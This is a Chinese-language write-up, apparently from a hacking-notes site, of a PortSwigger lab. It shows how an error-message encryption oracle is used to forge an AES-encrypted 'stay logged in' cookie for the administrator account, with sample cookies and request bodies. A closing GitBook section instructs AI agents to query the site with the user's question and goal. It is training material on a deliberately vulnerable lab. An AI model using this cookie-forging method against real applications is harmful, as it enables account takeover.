> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/business-logic/authentication-bypass-via-encryption-oracle.md).
# 通过加密预言机绕过身份验证
通过加密预言机绕过身份验证，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 通过加密预言机绕过认证
**实验描述**
本实验存在一个逻辑缺陷，暴露了一个 \*\*服务器端加密\*\* 预言机。利用该弱点，可以伪造一个有效的加密值，从而绕过认证，访问管理员面板并删除用户 **carlos**.
提供的标识符：
* 用户： `wiener`
* 密码： `peter`
**初步观察**
在登录页面， **保持登录** 选项可用。
使用时，会生成一个以加密方式 **Base64** 并存储在客户端。
```bash
echo '0HE6oMYJL//S1fLwttqR7WMF3EX4KJmvfFRI53qpVnk=' | base64 -d
# 解码后的值是二进制密文，不是可读文本。
```
### 加密预言机的识别
当提交有效评论时，没有观察到特定响应。
然而，如果评论引发应用程序错误（例如无效的电子邮件地址），服务器：
* 返回一个显示在屏幕上的错误消息；
{% code overflow="wrap" %}
```bash
csrf=cFMQUjAyzETtEr8TLsoir7V5p4C3m4ZG&postId=4&comment=test&name=test&email=test&website=https://localhost
```
{% endcode %}
* 生成一个新的 cookie `通知`\*\*，已加密。
显示的内容例如：
这表明：
* 服务器\*\*会解密\*\*该 `通知` cookie；
因此，服务器充当一个 **加密和解密预言机**.
* 解密后的文本是 **重新注入到 HTML 响应中**.
### 与 Cookie 的关联
通过注入该 cookie 的加密值 \*\*
观察到的格式是：
这显然对应于：
* 用户名；
* 时间戳。
#### 伪造管理员身份
目标是让服务器加密以下字符串：
```bash
administrator:1766913113564
```
为此，将该值注入到易受攻击的字段（无效评论/电子邮件）中，从而导致：
* 显示包含该字符串的错误消息；
生成一个新的 `通知` cookie，其中包含注入的文本。
{% code overflow="wrap" %}
```bash
Set-Cookie: notification=VQbs3ex4CbvKjTm0LM5wuZa79pnAzKI9MEsa1O0MbX%2fJpfl9baj6yL3ryxh4u6nyiWHVwxP7%2fVDPyft%2f1qAbbQ%3d%3d; HttpOnly
```
{% endcode %}
### 加密算法识别
通过任意截断加密值，服务器返回以下错误
```bash
PTBLGtTtDG1/yaX5fW2o%2bsi968sYeLup8olh1cMT%2b/1Qz8n7f9agG20%3d
```
`使用带填充的密码进行解密时，输入长度必须是 16 的倍数`
这清楚地表明服务器端使用了 **带填充的 AES**，以 **16 字节**.
#### 密文块操纵
遇到的问题是在消息末尾存在无效的填充字符。/ 为了解决这个问题，在注入的链之前添加填充字符，以正确对齐各个块：
```
xxxxxxxxxadministrator:1766913113564
```
随后生成一个新的加密 cookie。
VQbs3ex4CbvKjTm0LM5wuZJqwlVboMZ2IzNuiTfVH6iHj9RZUT59d5kGoS64tVE5wWiEfmp6VbJG%2bb%2fNW5%2bblA%3d%3d
### 截取并重组 Cookie
通过删除前面的 **两个加密块** （对应于填充部分），只保留包含：
服务器接受这个最终加密值。
```
h4/UWVE%2bfXeZBqEuuLVROcFohH5qelWyRvm/zVufm5Q%3d
```
#### 绕过认证
最后步骤：
1. 删除现有的会话 cookie。
2. 替换 cookie \*\* 的值
3. 刷新页面。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/business-logic/authentication-bypass-via-encryption-oracle.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
